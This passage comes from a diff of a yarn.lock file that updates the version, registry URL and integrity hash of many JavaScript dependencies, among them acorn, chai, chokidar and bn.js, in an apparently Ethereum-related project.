sha512-+68kP9yzs4LMp7VNh8gdzMSPZFL44MLGqiHWvttYJe+6qnuVr4Ek9wSBQoveqY/r+LwjCcU29kNVkidwim+kYA== "@types/secp256k1@^4.0.1": - version "4.0.3" - resolved "https://registry.yarnpkg.com/@types/secp256k1/-/secp256k1-4.0.3.tgz#1b8e55d8e00f08ee7220b4d59a6abe89c37a901c" - integrity sha512-Da66lEIFeIz9ltsdMZcpQvmrmmoqrfju8pm1BH8WbYjZSwUgCwXLb9C+9XYogwBITnbsSaMdVPb2ekf7TV+03w== + version "4.0.6" + resolved "https://registry.yarnpkg.com/@types/secp256k1/-/secp256k1-4.0.6.tgz#d60ba2349a51c2cbc5e816dcd831a42029d376bf" + integrity sha512-hHxJU6PAEUn0TP4S/ZOzuTUvJWuZ6eIKeNKb5RBpODvSl6hp1Wrw4s7ATY50rklRCScUDpHzVA/DQdSjJ3UoYQ== dependencies: "@types/node" "*" @@ -1081,54 +996,6 @@ resolved "https://registry.yarnpkg.com/@types/seedrandom/-/seedrandom-3.0.1.tgz#1254750a4fec4aff2ebec088ccd0bb02e91fedb4" integrity sha512-giB9gzDeiCeloIXDgzFBCgjj1k4WxcDrZtGl6h1IqmUPlxF+Nx8Ve+96QCyDZ/HseB/uvDsKbpib9hU5cU53pw== -"@types/sinon-chai@^3.2.3": - version "3.2.6" - resolved "https://registry.yarnpkg.com/@types/sinon-chai/-/sinon-chai-3.2.6.tgz#3504a744e2108646394766fb1339f52ea5d6bd0f" - integrity sha512-Z57LprQ+yOQNu9d6mWdHNvnmncPXzDWGSeLj+8L075/QahToapC4Q13zAFRVKV4clyBmdJ5gz4xBfVkOso5lXw== - dependencies: - "@types/chai" "*" - "@types/sinon" "*" - -"@types/sinon@*": - version "10.0.6" - resolved "https://registry.yarnpkg.com/@types/sinon/-/sinon-10.0.6.tgz#bc3faff5154e6ecb69b797d311b7cf0c1b523a1d" - integrity sha512-6EF+wzMWvBNeGrfP3Nx60hhx+FfwSg1JJBLAAP/IdIUq0EYkqCYf70VT3PhuhPX9eLD+Dp+lNdpb/ZeHG8Yezg== - dependencies: - "@sinonjs/fake-timers" "^7.1.0" - -"@types/underscore@*": - version "1.11.4" - resolved "https://registry.yarnpkg.com/@types/underscore/-/underscore-1.11.4.tgz#62e393f8bc4bd8a06154d110c7d042a93751def3" - integrity sha512-uO4CD2ELOjw8tasUrAhvnn2W4A0ZECOvMjCivJr4gA9pGgjv+qxKWY9GLTMVEK8ej85BxQOocUyE7hImmSQYcg== - -"@types/web3@1.0.19": - version "1.0.19" - resolved "https://registry.yarnpkg.com/@types/web3/-/web3-1.0.19.tgz#46b85d91d398ded9ab7c85a5dd57cb33ac558924" - integrity sha512-fhZ9DyvDYDwHZUp5/STa9XW2re0E8GxoioYJ4pEUZ13YHpApSagixj7IAdoYH5uAK+UalGq6Ml8LYzmgRA/q+A== - dependencies: - "@types/bn.js" "*" - "@types/underscore" "*" - -abort-controller@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/abort-controller/-/abort-controller-3.0.0.tgz#eaf54d53b62bae4138e809ca225c8439a6efb392" - integrity sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg== - dependencies: - event-target-shim "^5.0.0" - -abstract-level@^1.0.0, abstract-level@^1.0.2, abstract-level@^1.0.3: - version "1.0.3" - resolved "https://registry.yarnpkg.com/abstract-level/-/abstract-level-1.0.3.tgz#78a67d3d84da55ee15201486ab44c09560070741" - integrity sha512-t6jv+xHy+VYwc4xqZMn2Pa9DjcdzvzZmQGRjTFc8spIbRGHgBrEKbPq+rYXc7CCo0lxgYvSgKVg9qZAhpVQSjA== - dependencies: - buffer "^6.0.3" - catering "^2.1.0" - is-buffer "^2.0.5" - level-supports "^4.0.0" - level-transcoder "^1.0.1" - module-error "^1.0.1" - queue-microtask "^1.2.3" - abstract-leveldown@^6.2.1: version "6.3.0" resolved "https://registry.yarnpkg.com/abstract-leveldown/-/abstract-leveldown-6.3.0.tgz#d25221d1e6612f820c35963ba4bd739928f6026a" @@ -1164,14 +1031,16 @@ abstract-leveldown@~6.2.1: xtend "~4.0.0" acorn-walk@^8.1.1: - version "8.2.0" - resolved "https://registry.yarnpkg.com/acorn-walk/-/acorn-walk-8.2.0.tgz#741210f2e2426454508853a2f44d0ab83b7f69c1" - integrity sha512-k+iyHEuPgSw6SbuDpGQM+06HQUa04DZ3o+F6CSzXMvvI5KMvnaEqXe+YVe555R9nn6GPt404fos4wcgpw12SDA== + version "8.3.4" + resolved "https://registry.yarnpkg.com/acorn-walk/-/acorn-walk-8.3.4.tgz#794dd169c3977edf4ba4ea47583587c5866236b7" + integrity sha512-ueEepnujpqee2o5aIYnvHU6C0A42MNdsIDeqy5BydrkuC5R1ZuUFnm27EeFJGoEHJQgn3uleRvmTXaJgfXbt4g== + dependencies: + acorn "^8.11.0" -acorn@^8.4.1: - version "8.6.0" - resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.6.0.tgz#e3692ba0eb1a0c83eaa4f37f5fa7368dd7142895" - integrity sha512-U1riIR+lBSNi3IbxtaHOIKdH8sLFv3NYfNv8sg7ZsNhcfl4HF2++BfqqrNAxoCLQW1iiylOj76ecnaUxz+z9yw== +acorn@^8.11.0, acorn@^8.4.1: + version "8.14.0" + resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.14.0.tgz#063e2c70cac5fb4f6467f0b11152e04c682795b0" + integrity sha512-cl669nCJTZBsL97OF4kUQm5g5hC2uihk0NxY3WENAC0TYdILVkAyHymAntgxGkl7K+t0cXIrH5siy5S4XkFycA== adm-zip@^0.4.16: version "0.4.16" @@ -1181,7 +1050,7 @@ adm-zip@^0.4.16: aes-js@3.0.0: version "3.0.0" resolved "https://registry.yarnpkg.com/aes-js/-/aes-js-3.0.0.tgz#e21df10ad6c2053295bcbb8dab40b09dbea87e4d" - integrity sha1-4h3xCtbCBTKVvLuNq0Cwnb6ofk0= + integrity sha512-H7wUZRn8WpTq9jocdxQ2c8x2sKo9ZVmzfRE13GiNJXfp7NcKYEdvl3vspKjXox6RIG2VtaRe4JFvxG4rqp2Zuw== agent-base@6: version "6.0.2" @@ -1208,10 +1077,17 @@ ajv@^6.12.3: json-schema-traverse "^0.4.1" uri-js "^4.2.2" -ansi-colors@4.1.1, ansi-colors@^4.1.1: - version "4.1.1" - resolved "https://registry.yarnpkg.com/ansi-colors/-/ansi-colors-4.1.1.tgz#cbb9ae256bf750af1eab344f229aa27fe94ba348" - integrity sha512-JoX0apGbHaUJBNl6yF+p6JAFYZ666/hhCGKN5t9QFjbJQKUU/g8MNbFDbvfrgKXvI1QpZplPOnwIo99lX/AAmA== +ansi-align@^3.0.0: + version "3.0.1" + resolved "https://registry.yarnpkg.com/ansi-align/-/ansi-align-3.0.1.tgz#0cdf12e111ace773a86e9a1fad1225c43cb19a59" + integrity sha512-IOfwwBF5iczOjp/WeY4YxyjqAFMQoZufdQWDd19SEExbVLNXqvpzSJ/M7Za4/sCPmQ0+GRquoA7bGcINcxew6w== + dependencies: + string-width "^4.1.0" + +ansi-colors@^4.1.1, ansi-colors@^4.1.3: + version "4.1.3" + resolved "https://registry.yarnpkg.com/ansi-colors/-/ansi-colors-4.1.3.tgz#37611340eb2243e70cc604cad35d63270d48781b" + integrity sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw== ansi-escapes@^4.3.0: version "4.3.2" @@ -1240,9 +1116,9 @@ ansi-styles@^4.0.0, ansi-styles@^4.1.0: color-convert "^2.0.1" anymatch@~3.1.2: - version "3.1.2" - resolved "https://registry.yarnpkg.com/anymatch/-/anymatch-3.1.2.tgz#c0557c096af32f106198f4f4e2a383537e378716" - integrity sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg== + version "3.1.3" + resolved "https://registry.yarnpkg.com/anymatch/-/anymatch-3.1.3.tgz#790c58b19ba1720a84205b57c618d5ad8524973e" + integrity sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw== dependencies: normalize-path "^3.0.0" picomatch "^2.0.4" @@ -1260,7 +1136,7 @@ argparse@^2.0.1: array-back@^1.0.3, array-back@^1.0.4: version "1.0.4" resolved "https://registry.yarnpkg.com/array-back/-/array-back-1.0.4.tgz#644ba7f095f7ffcf7c43b5f0dc39d3c1f03c063b" - integrity sha1-ZEun8JX3/898Q7Xw3DnTwfA8Bjs= + integrity sha512-1WxbZvrmyhkNoeYcizokbmh5oiOCIfyvGtcqbK3Ls1v1fKcquzxnQSceOx6tzq7jmai2kFLWIpGND2cLhH6TPw== dependencies: typical "^2.6.0" @@ -1291,7 +1167,7 @@ asn1@~0.2.3: assert-plus@1.0.0, assert-plus@^1.0.0: version "1.0.0" resolved "https://registry.yarnpkg.com/assert-plus/-/assert-plus-1.0.0.tgz#f12e0f3c5d77b0b1cdd9146942e4e96c1e4dd525" - integrity sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU= + integrity sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw== assertion-error@^1.1.0: version "1.1.0" @@ -1306,26 +1182,26 @@ async-eventemitter@^0.2.4: async "^2.4.0" async@^2.4.0: - version "2.6.3" - resolved "https://registry.yarnpkg.com/async/-/async-2.6.3.tgz#d72625e2344a3656e3a3ad4fa749fa83299d82ff" - integrity sha512-zflvls11DCy+dQWzTW2dzuilv8Z5X/pjfmZOWba6TNIVDm+2UDaJmXSOXlasHKfNBs8oo3M0aT50fDEWfKZjXg== + version "2.6.4" + resolved "https://registry.yarnpkg.com/async/-/async-2.6.4.tgz#706b7ff6084664cd7eae713f6f965433b5504221" + integrity sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA== dependencies: lodash "^4.17.14" asynckit@^0.4.0: version "0.4.0" resolved "https://registry.yarnpkg.com/asynckit/-/asynckit-0.4.0.tgz#c79ed97f7f34cb8f2ba1bc9790bcc366474b4b79" - integrity sha1-x57Zf380y48robyXkLzDZkdLS3k= + integrity sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q== aws-sign2@~0.7.0: version "0.7.0" resolved "https://registry.yarnpkg.com/aws-sign2/-/aws-sign2-0.7.0.tgz#b46e890934a9591f2d2f6f86d7e6a9f1b3fe76a8" - integrity sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg= + integrity sha512-08kcGqnYf/YmjoRhfxyu+CLxBjUtHLXLXX/vUfx9l2LYzG3c1m61nrpyFUZI6zeS+Li/wWMMidD9KgrqtGq3mA== aws4@^1.8.0: - version "1.11.0" - resolved "https://registry.yarnpkg.com/aws4/-/aws4-1.11.0.tgz#d61f46d83b2519250e2784daf5b09479a8b41c59" - integrity sha512-xh1Rl34h6Fi1DC2WWKfxUTVqRsNnr6LsKz2+hfwDxQJWmrx8+c7ylaqBMcHfl1U1r2dsifOvKX3LQuLNZ+XSvA== + version "1.13.2" + resolved "https://registry.yarnpkg.com/aws4/-/aws4-1.13.2.tgz#0aa167216965ac9474ccfa83892cfb6b3e1e52ef" + integrity sha512-lHe62zvbTB5eEABUVi/AwVh0ZKY9rMMDhmm+eeyuuUQbQ3+J+fONVQOZyj+DdrvD4BY33uYniyRJ4UJIaSKAfw== balanced-match@^1.0.0: version "1.0.2" @@ -1333,9 +1209,9 @@ balanced-match@^1.0.0: integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw== base-x@^3.0.2: - version "3.0.9" - resolved "https://registry.yarnpkg.com/base-x/-/base-x-3.0.9.tgz#6349aaabb58526332de9f60995e548a53fe21320" - integrity sha512-H7JU6iBHTal1gp56aKoaa//YUxEaAOUiydvrV/pILqIHXTtqxSkATOnDA2u+jZ/61sD+L/412+7kzXRtWukhpQ== + version "3.0.10" + resolved "https://registry.yarnpkg.com/base-x/-/base-x-3.0.10.tgz#62de58653f8762b5d6f8d9fe30fa75f7b2585a75" + integrity sha512-7d0s06rR9rYaIWHkpfLIFICM/tkSVdoPC9qYAQRpxn9DdKNWNsKC0uk++akckyLq16Tx2WIinnZ6WRriAt6njQ== dependencies: safe-buffer "^5.0.1" @@ -1347,7 +1223,7 @@ base64-js@^1.3.1: bcrypt-pbkdf@^1.0.0: version "1.0.2" resolved "https://registry.yarnpkg.com/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz#a4301d389b6a43f9b67ff3ca11a3f6637e360e9e" - integrity sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4= + integrity sha512-qeFIXtP4MSoi6NLqO12WfqARWWuCKi2Rn/9hJLEmtB5yTNr9DqFWkJRCf2qShWzPeAMRnOgCrq0sg/KLv5ES9w== dependencies: tweetnacl "^0.14.3" @@ -1356,27 +1232,15 @@ bech32@1.1.4: resolved "https://registry.yarnpkg.com/bech32/-/bech32-1.1.4.tgz#e38c9f37bf179b8eb16ae3a772b40c356d4832e9" integrity sha512-s0IrSOzLlbvX7yp4WBfPITzpAU8sqQcpsmwXDiKwrG4r491vwCO/XpejasRNl0piBMe/DvP4Tz0mIS/X1DPJBQ== -bigint-crypto-utils@^3.0.23: - version "3.1.8" - resolved "https://registry.yarnpkg.com/bigint-crypto-utils/-/bigint-crypto-utils-3.1.8.tgz#e2e0f40cf45488f9d7f0e32ff84152aa73819d5d" - integrity sha512-+VMV9Laq8pXLBKKKK49nOoq9bfR3j7NNQAtbA617a4nw9bVLo8rsqkKMBgM2AJWlNX9fEIyYaYX+d0laqYV4tw== - dependencies: - bigint-mod-arith "^3.1.0" - -bigint-mod-arith@^3.1.0: - version "3.1.2" - resolved "https://registry.yarnpkg.com/bigint-mod-arith/-/bigint-mod-arith-3.1.2.tgz#658e416bc593a463d97b59766226d0a3021a76b1" - integrity sha512-nx8J8bBeiRR+NlsROFH9jHswW5HO8mgfOSqW0AmjicMMvaONDa8AO+5ViKDUUNytBPWiwfvZP4/Bj4Y3lUfvgQ== - bignumber.js@^9.0.0, bignumber.js@^9.0.1: - version "9.0.1" - resolved "https://registry.yarnpkg.com/bignumber.js/-/bignumber.js-9.0.1.tgz#8d7ba124c882bfd8e43260c67475518d0689e4e5" - integrity sha512-IdZR9mh6ahOBv/hYGiXyVuyCetmGJhtYkqLBpTStdhEGjegpPlUawydyaF3pbIOFynJTpllEs+NP+CS9jKFLjA== + version "9.1.2" + resolved "https://registry.yarnpkg.com/bignumber.js/-/bignumber.js-9.1.2.tgz#b7c4242259c008903b13707983b5f4bbd31eda0c" + integrity sha512-2/mKyZH9K85bzOEfhXDBFZTGd1CTs+5IHpeFQo9luiBG7hghdC851Pj2WAhb6E3R6b9tZj/XKhbg4fum+Kepug== binary-extensions@^2.0.0: - version "2.2.0" - resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-2.2.0.tgz#75f502eeaf9ffde42fc98829645be4ea76bd9e2d" - integrity sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA== + version "2.3.0" + resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-2.3.0.tgz#f6e14a97858d327252200242d4ccfe522c445522" + integrity sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw== bip39@3.0.4: version "3.0.4" @@ -1389,19 +1253,33 @@ bip39@3.0.4: randombytes "^2.0.1" blakejs@^1.1.0: - version "1.1.1" - resolved "https://registry.yarnpkg.com/blakejs/-/blakejs-1.1.1.tgz#bf313053978b2cd4c444a48795710be05c785702" - integrity sha512-bLG6PHOCZJKNshTjGRBvET0vTciwQE6zFKOKKXPDJfwFBd4Ac0yBfPZqcGvGJap50l7ktvlpFqc2jGVaUgbJgg== + version "1.2.1" + resolved "https://registry.yarnpkg.com/blakejs/-/blakejs-1.2.1.tgz#5057e4206eadb4a97f7c0b6e197a505042fc3814" + integrity sha512-QXUSXI3QVc/gJME0dBpXrag1kbzOqCjCX8/b54ntNyW6sjtoqxqRk3LTmXzaJoh71zMsDCjM+47jS7XiwN/+fQ== bn.js@^4.0.0, bn.js@^4.11.0, bn.js@^4.11.1, bn.js@^4.11.8, bn.js@^4.11.9: - version "4.12.0" - resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-4.12.0.tgz#775b3f278efbb9718eec7361f483fb36fbbfea88" - integrity sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA== + version "4.12.1" + resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-4.12.1.tgz#215741fe3c9dba2d7e12c001d0cfdbae43975ba7" + integrity sha512-k8TVBiPkPJT9uHLdOKfFpqcfprwBFOAAXXozRubr7R7PfIuKvQlzcI4M0pALeqXN09vdaMbUdUj+pass+uULAg== -bn.js@^5.1.2, bn.js@^5.2.0: - version "5.2.0" - resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-5.2.0.tgz#358860674396c6997771a9d051fcc1b57d4ae002" - integrity sha512-D7iWRBvnZE8ecXiLj/9wbxH7Tk79fAh8IHaTNq1RWRixsS02W+5qS+iE9yq6RYl0asXx5tw0bLhmT5pIfbSquw== +bn.js@^5.1.2, bn.js@^5.2.0, bn.js@^5.2.1: + version "5.2.1" + resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-5.2.1.tgz#0bc527a6a0d18d0aa8d5b0538ce4a77dccfa7b70" + integrity sha512-eXRvHzWyYPBuB4NBy0cmYQjGitUrtqwbvlzP3G6VFnNRbsZQIxQ10PbKKHt8gZ/HW/D/747aDl+QkDqg3KQLMQ== + +boxen@^5.1.2: + version "5.1.2" + resolved "https://registry.yarnpkg.com/boxen/-/boxen-5.1.2.tgz#788cb686fc83c1f486dfa8a40c68fc2b831d2b50" + integrity sha512-9gYgQKXx+1nP8mP7CzFyaUARhg7D3n1dF/FnErWmu9l6JvGpNUN278h0aSb+QjoiKSWG+iZ3uHrcqk0qrY9RQQ== + dependencies: + ansi-align "^3.0.0" + camelcase "^6.2.0" + chalk "^4.1.0" + cli-boxes "^2.2.1" + string-width "^4.2.2" + type-fest "^0.20.2" + widest-line "^3.1.0" + wrap-ansi "^7.0.0" brace-expansion@^1.1.7: version "1.1.11" @@ -1419,28 +1297,18 @@ brace-expansion@^2.0.1: balanced-match "^1.0.0" braces@~3.0.2: - version "3.0.2" - resolved "https://registry.yarnpkg.com/braces/-/braces-3.0.2.tgz#3454e1a462ee8d599e236df336cd9ea4f8afe107" - integrity sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A== + version "3.0.3" + resolved "https://registry.yarnpkg.com/braces/-/braces-3.0.3.tgz#490332f40919452272d55a8480adc0c441358789" + integrity sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA== dependencies: - fill-range "^7.0.1" + fill-range "^7.1.1" brorand@^1.0.1, brorand@^1.1.0: version "1.1.0" resolved "https://registry.yarnpkg.com/brorand/-/brorand-1.1.0.tgz#12c25efe40a45e3c323eb8675a0a0ce57b22371f" - integrity sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8= + integrity sha512-cKV8tMCEpQs4hK/ik71d6LrPOnpkpGBR0wzxqr68g2m/LB2GxVYQroAjMJZRVM1Y4BCjCKc3vAamxSzOY2RP+w== -browser-level@^1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/browser-level/-/browser-level-1.0.1.tgz#36e8c3183d0fe1c405239792faaab5f315871011" - integrity sha512-XECYKJ+Dbzw0lbydyQuJzwNXtOpbMSq737qxJN11sIRTErOMShvDpbzTlgju7orJKvx4epULolZAuJGLzCmWRQ== - dependencies: - abstract-level "^1.0.2" - catering "^2.1.1" - module-error "^1.0.2" - run-parallel-limit "^1.1.0" - -browser-stdout@1.3.1: +browser-stdout@^1.3.1: version "1.3.1" resolved "https://registry.yarnpkg.com/browser-stdout/-/browser-stdout-1.3.1.tgz#baa559ee14ced73452229bad7326467c61fabd60" integrity sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw== @@ -1460,7 +1328,7 @@ browserify-aes@^1.2.0: bs58@^4.0.0: version "4.0.1" resolved "https://registry.yarnpkg.com/bs58/-/bs58-4.0.1.tgz#be161e76c354f6f788ae4071f63f34e8c4f0a42a" - integrity sha1-vhYedsNU9veIrkBx9j806MTwpCo= + integrity sha512-Ok3Wdf5vOIlBrgCvTq96gBkJw+JUEzdBgyaza5HLtPm7yTHkjRy8+JzNyHF7BHa0bNWOQIp3m5YF0nnFcOIKLw== dependencies: base-x "^3.0.2" @@ -1481,7 +1349,7 @@ buffer-from@^1.0.0: buffer-xor@^1.0.3: version "1.0.3" resolved "https://registry.yarnpkg.com/buffer-xor/-/buffer-xor-1.0.3.tgz#26e61ed1422fb70dd42e6e36729ed51d855fe8d9" - integrity sha1-JuYe0UIvtw3ULm42cp7VHYVf6Nk= + integrity sha512-571s0T7nZWK6vB67HI5dyUF7wXiNcfaPPPTl6zYCNApANjIvYJTg7hlud/+cJpdAhS7dVzqMLmfhfHR3rAcOjQ== buffer-xor@^2.0.1: version "2.0.2" @@ -1513,27 +1381,38 @@ bufferutil@4.0.5: dependencies: node-gyp-build "^4.3.0" -busboy@^1.6.0: - version "1.6.0" - resolved "https://registry.yarnpkg.com/busboy/-/busboy-1.6.0.tgz#966ea36a9502e43cdb9146962523b92f531f6893" - integrity sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA== +bytes@3.1.2: + version "3.1.2" + resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.1.2.tgz#8b0beeb98605adf1b128fa4386403c009e0221a5" + integrity sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg== + +call-bind-apply-helpers@^1.0.0, call-bind-apply-helpers@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.1.tgz#32e5892e6361b29b0b545ba6f7763378daca2840" + integrity sha512-BhYE+WDaywFg2TBWYNXAE+8B1ATnThNBqXHP5nQu0jWJdVvY2hvkpyB3qOmtmDePiS5/BDQ8wASEWGMWRG148g== dependencies: - streamsearch "^1.1.0" + es-errors "^1.3.0" + function-bind "^1.1.2" -bytes@3.1.1: - version "3.1.1" - resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.1.1.tgz#3f018291cb4cbad9accb6e6970bca9c8889e879a" - integrity sha512-dWe4nWO/ruEOY7HkUJ5gFt1DCFV9zPRoJr8pV0/ASQermOZjtq8jMjOprC0Kd10GLN+l7xaUPvxzJFWtxGu8Fg== +call-bind@^1.0.8: + version "1.0.8" + resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.8.tgz#0736a9660f537e3388826f440d5ec45f744eaa4c" + integrity sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww== + dependencies: + call-bind-apply-helpers "^1.0.0" + es-define-property "^1.0.0" + get-intrinsic "^1.2.4" + set-function-length "^1.2.2" -call-bind@^1.0.0: +call-bound@^1.0.2: version "1.0.2" - resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.2.tgz#b1d4e89e688119c3c9a903ad30abb2f6a919be3c" - integrity sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA== + resolved "https://registry.yarnpkg.com/call-bound/-/call-bound-1.0.2.tgz#9dbd4daf9f5f753bec3e4c8fbb8a2ecc4de6c39b" + integrity sha512-0lk0PHFe/uz0vl527fG9CgdE9WdafjDbCXvBbs+LUv000TVt2Jjhqbs4Jwm8gz070w8xXyEAxrPOMullsxXeGg== dependencies: - function-bind "^1.1.1" - get-intrinsic "^1.0.2" + call-bind "^1.0.8" + get-intrinsic "^1.2.5" -camelcase@^6.0.0: +camelcase@^6.0.0, camelcase@^6.2.0: version "6.3.0" resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-6.3.0.tgz#5685b95eb209ac9c0c177467778c9c84df58ba9a" integrity sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA== @@ -1541,9 +1420,9 @@ camelcase@^6.0.0: caseless@~0.12.0: version "0.12.0" resolved "https://registry.yarnpkg.com/caseless/-/caseless-0.12.0.tgz#1b681c21ff84033c826543090689420d187151dc" - integrity sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw= + integrity sha512-4tYFyifaFfGacoiObjJegolkwSU4xQNGbVgUiNYVUxbQ2x2lUsFvY4hVgVzGiIe6WLOPqycWXA40l+PWsxthUw== -catering@^2.0.0, catering@^2.1.0, catering@^2.1.1: +catering@^2.0.0, catering@^2.1.0: version "2.1.1" resolved "https://registry.yarnpkg.com/catering/-/catering-2.1.1.tgz#66acba06ed5ee28d5286133982a927de9a04b510" integrity sha512-K7Qy8O9p76sL3/3m7/zLKbRkyOlSZAgzEaLhyj2mXS8PsCud2Eo4hAb8aLtZqHh0QGqLcb9dlJSu6lHRVENm1w== @@ -1557,16 +1436,17 @@ cbor@^5.0.2: nofilter "^1.0.4" chai@^4.3.4: - version "4.3.4" - resolved "https://registry.yarnpkg.com/chai/-/chai-4.3.4.tgz#b55e655b31e1eac7099be4c08c21964fce2e6c49" - integrity sha512-yS5H68VYOCtN1cjfwumDSuzn/9c+yza4f3reKXlE5rUg7SFcCEy90gJvydNgOYtblyf4Zi6jIWRnXOgErta0KA== + version "4.5.0" + resolved "https://registry.yarnpkg.com/chai/-/chai-4.5.0.tgz#707e49923afdd9b13a8b0b47d33d732d13812fd8" + integrity sha512-RITGBfijLkBddZvnn8jdqoTypxvqbOLYQkGGxXzeFjVHvudaPw0HNFD9x928/eUwYWd2dPCugVqspGALTZZQKw== dependencies: assertion-error "^1.1.0" - check-error "^1.0.2" - deep-eql "^3.0.1" - get-func-name "^2.0.0" + check-error "^1.0.3" + deep-eql "^4.1.3" + get-func-name "^2.0.2" + loupe "^2.3.6" pathval "^1.1.1" - type-detect "^4.0.5" + type-detect "^4.1.0" chalk@^2.4.2: version "2.4.2" @@ -1585,15 +1465,17 @@ chalk@^4.1.0: ansi-styles "^4.1.0" supports-color "^7.1.0" -check-error@^1.0.2: - version "1.0.2" - resolved "https://registry.yarnpkg.com/check-error/-/check-error-1.0.2.tgz#574d312edd88bb5dd8912e9286dd6c0aed4aac82" - integrity sha1-V00xLt2Iu13YkS6Sht1sCu1KrII= +check-error@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/check-error/-/check-error-1.0.3.tgz#a6502e4312a7ee969f646e83bb3ddd56281bd694" + integrity sha512-iKEoDYaRmd1mxM90a2OEfWhjsjPpYPuQ+lMYsoxB126+t8fw7ySEO48nmDg5COTjxDI65/Y2OWpeEHk3ZOe8zg== + dependencies: + get-func-name "^2.0.2" -chokidar@3.5.3: - version "3.5.3" - resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-3.5.3.tgz#1cf37c8707b932bd1af1ae22c0432e2acd1903bd" - integrity sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw== +chokidar@^3.5.3: + version "3.6.0" + resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-3.6.0.tgz#197c6cc669ef2a8dc5e7b4d97ee4e092c3eb0d5b" + integrity sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw== dependencies: anymatch "~3.1.2" braces "~3.0.2" @@ -1605,20 +1487,12 @@ chokidar@3.5.3: optionalDependencies: fsevents "~2.3.2" -chokidar@^3.4.0: - version "3.5.2" - resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-3.5.2.tgz#dba3976fcadb016f66fd365021d91600d01c1e75" - integrity sha512-ekGhOnNVPgT77r4K/U3GDhu+FQ2S8TnK/s2KbIGXi0SZWuwkZ2QNyfWdZW+TVfn84DpEP7rLeCt2UI6bJ8GwbQ== +chokidar@^4.0.0: + version "4.0.1" + resolved 